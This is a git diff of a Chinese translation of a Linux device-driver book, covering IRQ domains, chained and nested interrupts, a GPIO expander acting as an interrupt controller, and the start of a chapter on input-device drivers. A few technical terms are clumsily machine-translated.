`domain`:这是该硬件中断所属的域,或者`NULL`为默认域 -* `Hwirq`:这是那个域空间的硬件 IRQ 号 - -为同样是中断控制器的 GPIO 控制器编写驱动时,从`gpio_chip.to_irq()`回调函数中调用`irq_create_mapping()`,如下所示: - -```sh -return irq_create_mapping(gpiochip->irq_domain, offset); -``` - -其他人更喜欢提前为`probe`函数中的每个 hwirq 创建映射,例如: - -```sh -for (j = 0; j < gpiochip->chip.ngpio; j++) { - irq = irq_create_mapping( - gpiochip ->irq_domain, j); -} -``` - -hwirq is the GPIO offset from the gpiochip. - -如果 hwirq 的映射尚不存在,该函数将分配一个新的 Linux `irq_desc`结构,将其与 hwirq 相关联,并调用`irq_domain_ops.map()`(通过`irq_domain_associate()`函数)回调,以便驱动可以执行任何所需的硬件设置: - -```sh -struct irq_domain_ops { - int (*map)(struct irq_domain *d, unsigned int virq, irq_hw_number_t hw); - void (*unmap)(struct irq_domain *d, unsigned int virq); - int (*xlate)(struct irq_domain *d, struct device_node *node, - const u32 *intspec, unsigned int intsize, - unsigned long *out_hwirq, unsigned int *out_type); -}; -``` - -* `.map()`:这将创建或更新一个**虚拟 irq** ( **virq** )号码和一个 hwirq 号码之间的映射。对于给定的映射,只调用一次。它通常使用`irq_set_chip_and_handler*`将 virq 映射到给定的处理程序,这样,调用`generic_handle_irq()`或`handle_nested_irq`将触发正确的处理程序。这里的魔法叫做`irq_set_chip_and_handler()`功能: - -```sh -void irq_set_chip_and_handler(unsigned int irq, - struct irq_chip *chip, irq_flow_handler_t handle) -``` - -其中: - -* `irq`:这是作为参数给`map()`函数的 Linux IRQ。 -* `chip`:这是你的`irq_chip`。有些控制器相当笨,在它们的`irq_chip`结构中几乎不需要任何东西。在这种情况下,您应该通过`kernel/irq/dummychip.c`中定义的`dummy_irq_chip`,这是为此类控制器定义的内核`irq_chip`结构。 -* `handle`:这决定了将使用`request_irq()`调用真实处理程序寄存器的包装函数。其值取决于边沿或电平触发的内部评级。无论哪种情况,`handle`都应该设置为`handle_edge_irq`,或者`handle_level_irq`。这两个都是内核助手函数,在调用真正的 IRQ 处理程序之前和之后都有一些技巧。示例如下所示: - -```sh - static int pcf857x_irq_domain_map(struct irq_domain *domain, - unsigned int irq, irq_hw_number_t hw) - { - struct pcf857x *gpio = domain->host_data; - - irq_set_chip_and_handler(irq, &dummy_irq_chip,handle_level_irq); - #ifdef CONFIG_ARM - set_irq_flags(irq, IRQF_VALID); - #else - irq_set_noprobe(irq); - #endif - gpio->irq_mapped |= (1 << hw); - - return 0; - } -``` - -* `xlate`:给定 DT 节点和中断说明符,这个钩子解码硬件 IRQ 号和 Linux IRQ 类型值。根据您的 DT 控制器节点中指定的`#interrupt-cells`,内核提供了一个泛型转换功能: - * `irq_domain_xlate_twocell()`:通用翻译功能是直接进行两个细胞的结合。DT IRQ 说明符,用于两个单元格绑定,其中单元格值直接映射到 hwirq 号和 Linux irq 标志。 - * `irq_domain_xlate_onecell()`:直接一个单元格绑定的通用 xlate。 - * `irq_domain_xlate_onetwocell():`一个或两个单元格绑定的通用 xlate。 - -域操作的示例如下所示: - -```sh -static struct irq_domain_ops mcp23016_irq_domain_ops = { - .map = mcp23016_irq_domain_map, - .xlate = irq_domain_xlate_twocell, -}; -``` - -当收到中断时,应该使用`irq_find_mapping()`函数从 hwirq 号中找到 Linux 的 IRQ 号。当然,映射在被返回之前必须存在。一个 Linux IRQ 号总是和一个`struct irq_desc`结构联系在一起,这是 Linux 描述一个 IRQ 的结构: - -```sh -struct irq_desc { - struct irq_common_data irq_common_data; - struct irq_data irq_data; - unsigned int __percpu *kstat_irqs; - irq_flow_handler_t handle_irq; - struct irqaction *action; - unsigned int irqs_unhandled; - raw_spinlock_t lock; - struct cpumask *percpu_enabled; - atomic_t threads_active; - wait_queue_head_t wait_for_threads; -#ifdef CONFIG_PM_SLEEP - unsigned int nr_actions; - unsigned int no_suspend_depth; - unsigned int force_resume_depth; -#endif -#ifdef CONFIG_PROC_FS - struct proc_dir_entry *dir; -#endif - int parent_irq; - struct module *owner; - const char *name; -}; -``` - -这里没有描述的一些字段是内部字段,由 IRQ 内核使用: - -* `irq_common_data`是传递给芯片功能的每个 IRQ 和芯片数据 -* `kstat_irqs`是自引导以来每个 CPU 的 IRQ 统计数据 -* `handle_irq`是高等级 IRQ 事件处理程序 -* `action`表示该描述符的 IRQ 动作列表 -* `irqs_unhandled`是虚假的未处理中断的统计字段 -* `lock`代表 SMP 的锁定 -* `threads_active`是当前为此描述符运行的 IRQ 操作线程数 -* `wait_for_threads`代表`sync_irq`等待线程处理程序的等待队列 -* `nr_actions`是此描述符上安装的操作数 -* `no_suspend_depth`和`force_resume_depth`表示设置了`IRQF_NO_SUSPEND`或`IRQF_FORCE_RESUME`标志的 IRQ 描述符上的`irqactions`的数量 -* `dir`代表`/proc/irq/ procfs`条目 -* `name`命名流程处理程序,在`/proc/interrupts`输出中可见 - -`irq_desc.action`字段是`irqaction`结构的列表,每个结构记录相关中断源的中断处理程序的地址。对内核的`request_irq()`函数(或线程版本`o`)的每次调用都会在列表末尾创建一个添加一`struct irqaction`结构。例如,对于共享中断,该字段将包含与注册的处理程序一样多的 IRQ 操作; - -```sh -struct irqaction { - irq_handler_t handler; - void *dev_id; - void __percpu *percpu_dev_id; - struct irqaction *next; - irq_handler_t thread_fn; - struct task_struct *thread; - unsigned int irq; - unsigned int flags; - unsigned long thread_flags; - unsigned long thread_mask; - const char *name; - struct proc_dir_entry *dir; -}; -``` - -* `handler`是非线程(硬)中断处理函数 -* `name`是设备的名称 -* `dev_id`是识别设备的 cookie -* `percpu_dev_id`是识别设备的 cookie -* `next`是指向共享中断的下一个 IRQ 动作的指针 -* `irq`是 Linux 中断号 -* `flags`代表 IRQ 的标志(见`IRQF_*`) -* `thread_fn`是线程中断的线程中断处理函数 -* `thread`是线程中断时指向线程结构的指针 -* `thread_flags`表示与线程相关的标志 -* `thread_mask`是用于跟踪线程活动的位掩码 -* `dir`指向`/proc/irq/NN//`条目 - -`irqaction.handler`字段引用的中断处理程序只是与处理来自特定外部设备的中断相关联的功能,它们对那些中断请求被传递到主微处理器的方式知之甚少(如果有的话)。它们不是微处理器级中断服务例程,因此不会通过 RTE 或类似的中断相关操作码退出。这使得中断驱动的设备驱动在很大程度上可以跨不同的微处理器架构移植 - -以下是`struct irq_data`结构重要字段的定义,它是传递给芯片功能的每个 IRQ 芯片数据: - -```sh -struct irq_data { - [...] - unsigned int irq; - unsigned long hwirq; - struct irq_common_data *common; - struct irq_chip *chip; - struct irq_domain *domain; - void *chip_data; -}; -``` - -* `irq`是中断号(Linux IRQ) -* `hwirq`是硬件中断号,位于`irq_data.domain`中断域 -* `common`指向所有 IRQ 芯片共享的数据 -* `chip`代表低电平中断控制器硬件访问 -* `domain`代表中断转换域,负责 hwirq 号和 Linux irq 号之间的映射 -* `chip_data`是平台特定的针对芯片的私有数据的芯片方法,允许共享芯片实现 - -# 高级外设 IRQ 管理 - -在[第三章](03.html#1S2JE0-dbde2ca892a6480b9727afb6a9c9e924)、*内核设施和辅助功能*中,我们引入了外设 IRQs,使用`request_irq()`和`request_threaded_irq()`。使用`request_irq()`,可以注册一个将在原子上下文中执行的处理程序(上半部分),从中可以使用同一章中讨论的不同机制之一来调度下半部分。另一方面,使用`request_thread_irq()`,可以为函数提供上半部分和下半部分,这样前者将作为 hardirq 处理程序运行,后者可能决定提升第二个和线程处理程序,后者将在内核线程中运行。 - -这些方法的问题在于,有时,请求 IRQ 的驱动不知道提供该 IRQ 线路的中断的性质,尤其是当中断控制器是分立芯片(通常是通过 SPI 或 I2C 总线连接的 GPIO 扩展器)时。现在来了`request_any_context_irq()`,请求 IRQ 的驱动知道处理程序是否会在线程上下文中运行,并相应地调用`request_threaded_irq()`或`request_irq()`。这意味着,无论与我们的设备相关联的 IRQ 来自可能不睡眠的中断控制器(内存映射控制器)还是来自可以睡眠的中断控制器(在 I2C/SPI 总线后面),都不需要更改代码。它的原型如下: - -```sh -int request_any_context_irq ( unsigned int irq, irq_handler_t handler, - unsigned long flags, const char * name, void * dev_id); -``` - -以下是函数中每个参数的含义: - -* `irq`代表要分配的中断线路。 -* `handler`是发生 IRQ 时要调用的函数。根据上下文的不同,该函数可能作为 hardirq 运行,也可能是线程化的。 -* `flags`代表中断类型标志。与`request_irq()`相同。 -* `name`将用于调试目的,在`/proc/interrupts`中命名中断。 -* `dev_id`是传递回处理函数的 cookie。 - -`request_any_context_irq()`表示一个人可以得到一个 hardirq 或者一个踩踏板。它的工作方式与通常的`request_irq()`相似,只是它检查 IRQ 级别是否配置为嵌套,并调用正确的后端。换句话说,它根据上下文选择一个 hardIRQ 或线程处理方法。该函数在失败时返回负值。一旦成功,它要么返回`IRQC_IS_HARDIRQ`要么返回`IRQC_IS_NESTED`。以下是一个用例: - -```sh -static irqreturn_t packt_btn_interrupt(int irq, void *dev_id) -{ - struct btn_data *priv = dev_id; - - input_report_key(priv->i_dev, BTN_0, - gpiod_get_value(priv->btn_gpiod) & 1); - input_sync(priv->i_dev); - return IRQ_HANDLED; -} - -static int btn_probe(struct platform_device *pdev) -{ - struct gpio_desc *gpiod; - int ret, irq; - - [...] - gpiod = gpiod_get(&pdev->dev, "button", GPIOD_IN); - if (IS_ERR(gpiod)) - return -ENODEV; - - priv->irq = gpiod_to_irq(priv->btn_gpiod); - priv->btn_gpiod = gpiod; - - [...] - - ret = request_any_context_irq(priv->irq, - packt_btn_interrupt, - (IRQF_TRIGGER_FALLING | IRQF_TRIGGER_RISING), - "packt-input-button", priv); - if (ret < 0) { - dev_err(&pdev->dev, - "Unable to acquire interrupt for GPIO line\n"); - goto err_btn; - } - - return ret; -} -``` - -前面的代码是输入设备驱动的驱动示例的摘录。其实就是下一章用的那个。使用`request_any_context_irq()`的好处是,人们不需要关心在 IRQ 处理程序中可以做什么,因为处理程序运行的上下文取决于提供 IRQ 线路的中断控制器。在我们的示例中,如果下面的 GPIO 指向位于 I2C 或 SPI 总线上的控制器,那么处理程序将被线程化。否则,处理程序将在 hardirq 中运行。 - -# 中断请求和传播 - -让我们考虑下图,它代表了一个链式 IRQ 流 - -![](img/00036.gif) - -中断请求总是在 Linux IRQ(而不是 hwirq)上执行。在 Linux 上请求 IRQ 的一般函数是`request_threaded_irq()`或`request_irq()`,内部称前者为: - -```sh -int request_threaded_irq(unsigned int irq, irq_handler_t handler, - irq_handler_t thread_fn, unsigned long irqflags, - const char *devname, void *dev_id) -``` - -调用时,该函数使用`irq_to_desc()`宏提取与 IRQ 相关联的`struct irq_desc`。然后,它分配一个新的`struct irqaction`结构并设置它,填充诸如处理器、标志等参数。 - -```sh -action->handler = handler; -action->thread_fn = thread_fn; -action->flags = irqflags; -action->name = devname; -action->dev_id = dev_id; -``` - -通过调用`kernel/irq/manage.c`中定义的`__setup_irq()`(通过`setup_irq()`)函数,该函数最终将描述符插入/注册到适当的 IRQ 列表中。 - -现在,当一个 IRQ 被引发时,内核执行一些汇编代码以保存当前状态,并跳转到 arch specific 处理程序`handle_arch_irq`,该处理程序在`arch/arm/kernel/setup.c`中的`setup_arch()`函数中用我们平台的`struct machine_desc`的`handle_irq`字段设置: - -```sh -handle_arch_irq = mdesc->handle_irq -``` - -对于使用 ARM GIC 的 SoCs,`handle_irq`回调用`gic_handle_irq`设置,在`drivers/irqchip/irq-gic.c`或`drivers/irqchip/irq-gic-v3.c`中: - -```sh -set_handle_irq(gic_handle_irq); -``` - -`gic_handle_irq()`调用`handle_domain_irq()`,执行`generic_handle_irq()`,轮到它调用`generic_handle_irq_desc()`,最后调用`desc->handle_irq()`。看一下最后一次调用的`include/linux/irqdesc.h`和其他函数调用的`arch/arm/kernel/irq.c`。`handle_irq`是流处理程序的实际调用,我们注册为`mcp23016_irq_handler`。 - -`gic_hande_irq()`是 GIC 中断处理程序。`generic_handle_irq()`将执行 SoC 的 GPIO4 IRQ 的处理程序,该处理程序将寻找负责中断的 GPIOs 引脚,并调用`generic_handle_irq_desc()`等等。现在您已经熟悉了中断传播,让我们通过编写自己的中断控制器来切换到一个实际的例子。 - -# 链接 IRQ - -本节描述了父进程的中断处理程序如何调用子进程的中断处理程序,进而调用子进程的中断处理程序,等等。内核提供了两种方法来调用父(中断控制器)设备的 IRQ 处理程序中的子设备的中断处理程序。这些是链接和嵌套的方法: - -# 链式中断 - -这种方法用于 SoC 的内部 GPIO 控制器,它是内存映射的,其访问不会休眠。链式意味着那些中断只是函数调用的链(例如,SoC 的 GPIO 模块中断处理程序是从 GIC 中断处理程序调用的,就像函数调用一样)。`generic_handle_irq()`用于链接子 IRQ 处理程序的中断,在父 hwirq 处理程序内部调用。即使在子中断处理程序中,我们仍然处于原子上下文(硬件中断)中。不能调用可能休眠的函数。 - -# 嵌套中断 - -这种方法被位于慢总线上的控制器使用,如 I2C(例如,GPIO 扩展器),其访问可能会休眠(I2C 函数可能会休眠)。嵌套意味着那些不在 HW 上下文中运行的中断处理程序(它们不是真正的 hwirq,它们不在原子上下文中),而是线程化的,并且可以被抢占(或被另一个中断中断)。`handle_nested_irq()`用于创建嵌套中断子 IRQ。处理程序在`handle_nested_irq()`函数创建的新线程中被调用;我们需要它们在进程上下文中运行,这样我们就可以调用休眠总线函数(就像可能休眠的 I2C 函数)。 - -# 案例研究–GPIO 和 IRQ 芯片 - -让我们考虑下图,它将一个中断控制器设备与另一个设备联系起来,我们将使用它来描述中断多路复用: - -![](img/00037.jpeg) - -mcp23016 IRQ flow - -假设您已经将`io_1`和`io_2`配置为中断。即使`io_1`或`io_2`发生中断,中断控制器也会触发相同的中断线路。现在,GPIO 驱动必须通过读取 GPIO 的中断状态寄存器来找出哪个中断(`io_1`或`io_2`)真正触发了。因此,在这种情况下,单个中断线路是 16 个 GPIO 中断的多路复用。 - -现在让我们修改写在[第 15 章](15.html#B1Q0M0-dbde2ca892a6480b9727afb6a9c9e924)、 *GPIO 控制器驱动–GPIO _ chip*中的 mcp23016 的原始驱动,以便首先支持 IRQ 域 API,这也将让它充当中断控制器。第二部分将介绍新的和推荐的 gpiolib irqchip API。这将作为编写中断控制器驱动的逐步指南,至少对于 GPIO 控制器是这样的: - -# 传统 GPIO 和 IRQ 芯片 - -1. 第一步,分配一个`struct irq_domain`给我们的 gpiochip,它将存储 hwirq 和 virq 之间的映射。线性映射适合我们。我们在`probe`功能中这样做。该域将包含我们的驱动希望提供的 IRQ 数量。例如,对于输入/输出扩展器,IRQ 的数量可以是扩展器提供的 GPIOs 的数量: - -```sh -my_gpiochip->irq_domain = irq_domain_add_linear( client->dev.of_node, - my_gpiochip->chip.ngpio, &mcp23016_irq_domain_ops, NULL); -``` - -`host_data`参数为`NULL`。因此,您可以传递任何您需要的数据结构。在分配域之前,应定义我们的域运营结构: - -```sh -static struct irq_domain_ops mcp23016_irq_domain_ops = { - .map = mcp23016_irq_domain_map, - .xlate = irq_domain_xlate_twocell, -}; -``` - -在填充我们的 IRQ 域操作结构之前,我们必须至少定义`.map()`回调: - -```sh -static int mcp23016_irq_domain_map( - struct irq_domain *domain, - unsigned int virq, irq_hw_number_t hw) -{ - irq_set_chip_and_handler(virq, - &dummy_irq_chip, /* Dumb irqchip */ - handle_level_irq); /* Level trigerred irq */ - return 0; -} -``` - -我们的控制器不够智能。那么就没有必要设置`irq_chip`。这种芯片我们就用内核提供的:`dummy_irq_chip`。一些控制器足够聪明,需要一个 T2 来安装。看看`drivers/gpio/gpio-mcp23s08.c`。 - -下一个操作回调是`.xlate`。这里,我们再次使用内核提供的助手。`irq_domain_xlate_twocell`是一个能够用两个单元解析中断说明符的助手。我们可以在我们的控制器 DT 节点中添加这个`interrupt-cells = <2>;`。 - -2. 下一步是使用`irq_create_mapping()`函数用 IRQ 映射填充域。在我们的驱动中,会在`gpiochip.to_irq`回调中进行,这样每当有人在 GPIO 上调用`gpio{d}_to_irq()`时,如果映射存在就会返回,如果不存在就会创建: - -```sh -static int mcp23016_to_irq(struct gpio_chip *chip, - unsigned offset) -{ - return irq_create_mapping(chip->irq_domain, offset); -} -``` - -我们可以对`probe`函数中的每个 GPIO 都这样做,只需调用`.to_irq`函数中的`irq_find_mapping()`。 - -3. 现在仍然在`probe`函数中,我们需要注册我们的控制器的 IRQ 处理程序,它反过来负责调用在其引脚上引发中断的正确处理程序: - -```sh -devm_request_threaded_irq(client->irq, NULL, - mcp23016_irq, irqflags, - dev_name(chip->parent), mcp); -``` - -功能`mcp23016`应在注册内部评级之前定义: - -```sh -static irqreturn_t mcp23016_irq(int irq, void *data) -{ - struct mcp23016 *mcp = data; - unsigned int child_irq, i; - /* Do some stuff */ - [...] - for (i = 0; i < mcp->chip.ngpio; i++) { - if (gpio_value_changed_and_raised_irq(i)) { - child_irq = - irq_find_mapping(mcp->chip.irqdomain, i); - handle_nested_irq(child_irq); - } - } - - return IRQ_HANDLED; -} -``` - -`handle_nested_irq()`前面已经描述过,将为每个注册的处理程序创建一个专用线程。 - -# 新 gpiolib irqchip API - -几乎每个 GPIO 控制器驱动都是为了相同的目的而使用 IRQ 域的。内核开发人员决定通过`GPIOLIB_IRQCHIP` Kconfig 符号将代码转移到 gpiolib 框架,以协调开发并避免冗余代码,而不是每个人滚动自己的 irqdomain 处理等。 - -这部分代码有助于处理 GPIO irqchips 和相关的`irq_domain`和资源分配回调的管理,以及它们的设置,使用简化的助手函数集。这是`gpiochip_irqchip_add()`和`gpiochip_set_chained_irqchip()`。 - -`gpiochip_irqchip_add():`这将向 gpiochip 添加一个 irqchip。这个函数的作用是: - -* 将`gpiochip.to_irq`字段设置为`gpiochip_to_irq`,这是一个只返回`irq_find_mapping(chip->irqdomain, offset);`的 IRQ 回调 -* 使用`irq_domain_add_simple()`函数将一个 irq_domain 分配给 gpiochip,传递一个名为`gpiochip_domain_ops`并在`drivers/gpio/gpiolib.c`中定义的内核 irq 核心`irq_domain_ops` -* 使用`irq_create_mapping()`功能创建从 0 到`gpiochip.ngpio`的映射 - -其原型如下: - -```sh -int gpiochip_irqchip_add(struct gpio_chip *gpiochip, - struct irq_chip *irqchip, - unsigned int first_irq, - irq_flow_handler_t handler, - unsigned int type) -``` - -其中`gpiochip`是我们的 GPIO 芯片,要添加 irqchip 的那个,`irqchip`是要添加到 GPIO chip 的 irqchip。`first_irq`如果不是动态分配的,是分配 gpiochip IRQs 的基础(第一个)IRQ。`handler`是要使用的 IRQ 处理器(通常是预定义的 IRQ 核心函数)`type`是这个 IRQ 芯片上 IRQ 的默认类型,通过`IRQ_TYPE_NONE`让核心避免在硬件中设置任何默认类型。 - -This function will handle two celled simple IRQs (because it sets `irq_domain_ops.xlate` to `irq_domain_xlate_twocell`) and assumes all the pins on the gpiochip can generate a unique IRQ. - -```sh -static const struct irq_domain_ops gpiochip_domain_ops = { - .map = gpiochip_irq_map, - .unmap = gpiochip_irq_unmap, - /* Virtually all GPIO irqchips are twocell:ed */ - .xlate = irq_domain_xlate_twocell, -}; -``` - -`gpiochip_set_chained_irqchip()`:该函数将链式 irqchip 从父 IRQ 设置为`gpio_chip`,并将指向`struct gpio_chip`的指针作为处理程序数据: - -```sh -void gpiochip_set_chained_irqchip(struct gpio_chip *gpiochip, - struct irq_chip *irqchip, int parent_irq, - irq_flow_handler_t parent_handler) -``` - -`parent_irq`是该芯片连接的 IRQ 号。以我们的 mcp23016 为例,如*案例研究-GPIO 和 IRQ 芯片*部分的图所示,对应`gpio4_29`线的 IRQ。换句话说,它是这个链式 irqchip 的父 IRQ 号。`parent_handler`是来自 gpiochip 的累积 IRQ 的父中断处理程序。如果中断是嵌套的而不是级联的(链式的),在这个处理程序参数中传递`NULL`。 - -有了这个新的应用编程接口,添加到我们的`probe`函数中的唯一代码是: - -```sh -/* Do we have an interrupt line? Enable the irqchip */ -if (client->irq) { - status = gpiochip_irqchip_add(&gpio->chip, &dummy_irq_chip, - 0, handle_level_irq, IRQ_TYPE_NONE); - if (status) { - dev_err(&client->dev, "cannot add irqchip\n"); - goto fail_irq; - } - - status = devm_request_threaded_irq(&client->dev, client->irq, - NULL, mcp23016_irq, IRQF_ONESHOT | - IRQF_TRIGGER_FALLING | IRQF_SHARED, - dev_name(&client->dev), gpio); - if (status) - goto fail_irq; - - gpiochip_set_chained_irqchip(&gpio->chip, - &dummy_irq_chip, client->irq, NULL); -} -``` - -IRQ 核心为我们做一切。甚至不需要定义`gpiochip.to_irq`函数,因为 API 已经设置好了。我们的例子使用了 IRQ 核心`dummy_irq_chip`,但是也可以定义自己的核心。从 4.10 版本的内核开始,增加了另外两个功能:它们是`gpiochip_irqchip_add_nested()`和`gpiochip_set_nested_irqchip()`。详情请看*Documentation/gpio/driver . txt*。在同一个内核版本中使用这个应用编程接口的驱动是`drivers/gpio/gpio-mcp23s08.c`。 - -# 中断控制器和 DT - -现在我们将在 DT 中声明我们的控制器。如果你还记得在[第六章](06.html#4QFR40-dbde2ca892a6480b9727afb6a9c9e924) : *设备树的概念*中,每个中断控制器必须有布尔属性中断控制器集。第二个强制布尔属性是`gpio-controller`,因为它也是一个 GPIO 控制器。我们需要定义设备的中断说明符需要多少个单元。既然我们已经将`irq_domain_ops.xlate`字段设置为`irq_domain_xlate_twocell`,那么`#interrupt-cells`应该是 2: - -```sh -expander: mcp23016@20 { - compatible = "microchip,mcp23016"; - reg = <0x20>; - interrupt-controller; - #interrupt-cells = <2>; - gpio-controller; - #gpio-cells = <2>; - interrupt-parent = <&gpio4>; - interrupts = <29 IRQ_TYPE_EDGE_FALLING>; -}; -``` - -`interrupt-parent`和`interrupts`属性描述的是中断线路连接。 - -最后,假设我们有一个 mcp23016 的驱动和另外两个设备的驱动:`foo_device`和`bar_device`,当然都运行在 CPU 中。在`foo_device`驱动中,当`foo_device`改变 mcp23016 的`io_2`引脚上的电平时,需要请求事件中断。`bar_device`驱动分别需要`io_8`和`io_12`复位和给 GPIOs 供电。让我们在 DT 中声明: - -```sh -foo_device: foo_device@1c { - reg = <0x1c>; - interrupt-parent = <&expander>; - interrupts = <2 IRQ_TYPE_EDGE_RISING>; -}; - -bar_device { - reset-gpios = <&expander 8 GPIO_ACTIVE_HIGH>; - power-gpios = <&expander 12 GPIO_ACTIVE_HIGH>; - /* Other properties do here */ -}; -``` - -# 摘要 - -现在 IRQ 复用对你来说没有更多的秘密了。我们讨论了 Linux 系统下 IRQ 管理最重要的元素,IRQ 域 API。您已经掌握了开发中断控制器驱动的基础知识,并且可以从 DT 内部管理它们的绑定。为了理解从请求到处理发生了什么,已经讨论了 IRQ 传播。本章将帮助您理解下一章中涉及输入设备驱动的中断驱动部分。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/17.md b/docs/linux-device-driver-dev/17.md deleted file mode 100644 index eeed4aca..00000000 --- a/docs/linux-device-driver-dev/17.md +++ /dev/null @@ -1,787 +0,0 @@ -# 十七、输入设备驱动 - -输入设备是可以与系统交互的设备。这样的设备有按钮、键盘、触摸屏、鼠标等等。它们通过发送事件来工作,由输入核心捕获并在系统上广播。本章将解释输入核心用来处理输入设备的每个结构。也就是说,我们将看到如何从用户空间管理事件。 - -在本章中,我们将涵盖以下主题: - -* 输入核心数据结构 -* 分配和注册输入设备,以及轮询设备系列 -* 生成事件并将其报告给输入核心 -* 来自用户空间的输入设备 -* 编写驱动示例 - -# 输入设备结构 - -首先,为了与输入子系统接口,要包含的主文件是`linux/input.h`: - -```sh -#include -``` - -无论它是什么类型的输入设备,无论它发送什么类型的事件,输入设备在内核中都被表示为`struct input_dev`的一个实例: - -```sh -struct input_dev { - const char *name; - const char *phys; - - unsigned long evbit[BITS_TO_LONGS(EV_CNT)]; - unsigned long keybit[BITS_TO_LONGS(KEY_CNT)]; - unsigned long relbit[BITS_TO_LONGS(REL_CNT)]; - unsigned long absbit[BITS_TO_LONGS(ABS_CNT)]; - unsigned long mscbit[BITS_TO_LONGS(MSC_CNT)]; - - unsigned int repeat_key; - - int rep[REP_CNT]; - struct input_absinfo *absinfo; - unsigned long key[BITS_TO_LONGS(KEY_CNT)]; - - int (*open)(struct input_dev *dev); - void (*close)(struct input_dev *dev); - - unsigned int users; - struct device dev; - - unsigned int num_vals; - unsigned int max_vals; - struct input_value *vals; - - bool devres_managed; -}; -``` - -这些字段的含义如下: - -* `name`代表设备的名称。 -* `phys`是系统层次结构中设备的物理路径。 -* `evbit`是设备支持的事件类型的位图。一些类型的区域如下: - * `EV_KEY`用于支持发送按键事件的设备(键盘、按钮等) - * `EV_REL`用于支持发送相对位置的设备(鼠标、数字化仪等) - * `EV_ABS`用于支持发送绝对位置的设备(操纵杆) - -事件列表可以在`include/linux/input-event-codes.h`文件的内核源代码中找到。根据我们的输入设备能力,使用`set_bit()`宏来设置适当的位。当然,一个设备可以支持多种类型的事件。例如,鼠标将设置`EV_KEY`和`EV_REL`。 - -```sh -set_bit(EV_KEY, my_input_dev->evbit); -set_bit(EV_REL, my_input_dev->evbit); -``` - -* `keybit`用于`EV_KEY`类型的启用设备,该设备显示的按键/按钮位图。例如:`BTN_0`、`KEY_A`、`KEY_B`等等。按键/按钮的完整列表在`include/linux/input-event-codes.h`文件中。 -* `relbit`用于`EV_REL`类型启用的设备,设备相对轴的位图。例如:`REL_X`、`REL_Y`、`REL_Z`、`REL_RX`等等。完整列表请看`include/linux/input-event-codes.h`。 -* `absbit`是针对一个`EV_ABS`类型的启用设备,设备绝对轴的位图。比如`ABS_Y`、`ABS_X`等等。完整列表请查看相同的先前文件。 -* `mscbit`为`EV_MSC`类型启用设备,设备支持的杂项事件位图。 -* `repeat_key`存储最后一次按键的按键码;用于实现软件自动重复。 -* `rep`,自动重复参数(延迟、速率)的当前值。 -* `absinfo`是保存绝对轴(当前值、最小值、最大值、平坦值、模糊值、分辨率)信息的`&struct input_absinfo`元素的数组。您应该使用`input_set_abs_params()`功能来设置这些值。 - -```sh -void input_set_abs_params(struct input_dev *dev, unsigned int axis, - int min, int max, int fuzz, int flat) -``` - -* `min`和`max`指定下限值和上限值。`fuzz`表示指定输入设备的指定通道上的预期噪声。下面是一个示例,其中我们仅设置了每个通道的边界: - -```sh -#define ABSMAX_ACC_VAL 0x01FF -#define ABSMIN_ACC_VAL -(ABSMAX_ACC_VAL) -[...] -set_bit(EV_ABS, idev->evbit); -input_set_abs_params(idev, ABS_X, ABSMIN_ACC_VAL, - ABSMAX_ACC_VAL, 0, 0); -input_set_abs_params(idev, ABS_Y, ABSMIN_ACC_VAL, - ABSMAX_ACC_VAL, 0, 0); -input_set_abs_params(idev, ABS_Z, ABSMIN_ACC_VAL, - ABSMAX_ACC_VAL, 0, 0); -``` - -* `key`反映设备按键/按钮的当前状态。 -* `open`是第一个用户调用`input_open_device()`时调用的方法。使用此方法准备设备,如中断请求、轮询线程启动等。 -* 当最后一个用户调用`input_close_device()`时,调用`close`。在这里,您可以停止轮询(这会消耗大量资源)。 -* `users`存储打开该设备的用户(输入处理程序)数量。它由`input_open_device()`和`input_close_device()`使用,以确保`dev->open()`仅在第一个用户打开设备时调用,而`dev->close()`在最后一个用户关闭设备时调用。 -* `dev`是与此设备关联的结构设备(对于设备型号)。 -* `num_vals`是当前帧中排队的值的数量。 -* `max_vals`是一帧中排队值的最大数量。 -* `Vals`是当前帧中排队的值数组。 -* `devres_managed`表示设备使用`devres`框架管理,不需要显式取消注册或释放。 - -# 分配和注册输入设备 - -在用输入设备注册和发送事件之前,应分配`input_allocate_device()`功能。为了释放之前为未注册的输入设备分配的内存,应该使用`input_free_device()`功能。如果设备已经注册,则应使用`input_unregister_device()`。像每个需要内存分配的函数一样,我们可以使用资源管理版本的函数: - -```sh -struct input_dev *input_allocate_device(void) -struct input_dev *devm_input_allocate_device(struct device *dev) - -void input_free_device(struct input_dev *dev) -static void devm_input_device_unregister(struct device *dev, - void *res) -int input_register_device(struct input_dev *dev) -void input_unregister_device(struct input_dev *dev) -``` - -设备分配可能会休眠,因此不能在原子上下文中或在保持自旋锁的情况下调用。 - -以下是位于 I2C 公交车上的输入设备的`probe`功能摘录: - -```sh -struct input_dev *idev; -int error; - -idev = input_allocate_device(); -if (!idev) - return -ENOMEM; - -idev->name = BMA150_DRIVER; -idev->phys = BMA150_DRIVER "/input0"; -idev->id.bustype = BUS_I2C; -idev->dev.parent = &client->dev; - -set_bit(EV_ABS, idev->evbit); -input_set_abs_params(idev, ABS_X, ABSMIN_ACC_VAL, - ABSMAX_ACC_VAL, 0, 0); -input_set_abs_params(idev, ABS_Y, ABSMIN_ACC_VAL, - ABSMAX_ACC_VAL, 0, 0); -input_set_abs_params(idev, ABS_Z, ABSMIN_ACC_VAL, - ABSMAX_ACC_VAL, 0, 0); - -error = input_register_device(idev); -if (error) { - input_free_device(idev); - return error; -} - -error = request_threaded_irq(client->irq, - NULL, my_irq_thread, - IRQF_TRIGGER_RISING | IRQF_ONESHOT, - BMA150_DRIVER, NULL); -if (error) { - dev_err(&client->dev, "irq request failed %d, error %d\n", - client->irq, error); - input_unregister_device(bma150->input); - goto err_free_mem; -} -``` - -# 轮询输入设备子类 - -轮询输入设备是一种特殊类型的输入设备,它依赖于轮询来感知设备状态变化,而通用输入设备类型依赖于 IRQ 来感知变化并向输入内核发送事件。 - -轮询输入设备在内核中被描述为`struct input_polled_dev`结构的一个实例,它是通用`struct input_dev`结构的包装器: - -```sh -struct input_polled_dev { - void *private; - - void (*open)(struct input_polled_dev *dev); - void (*close)(struct input_polled_dev *dev); - void (*poll)(struct input_polled_dev *dev); - unsigned int poll_interval; /* msec */ - unsigned int poll_interval_max; /* msec */ - unsigned int poll_interval_min; /* msec */ - - struct input_dev *input; - - bool devres_managed; -}; -``` - -以下是该结构中元素的含义: - -* `private`是司机的私人数据。 -* `open`是一种可选方法,用于准备设备进行轮询(启用设备并可能刷新设备状态)。 -* 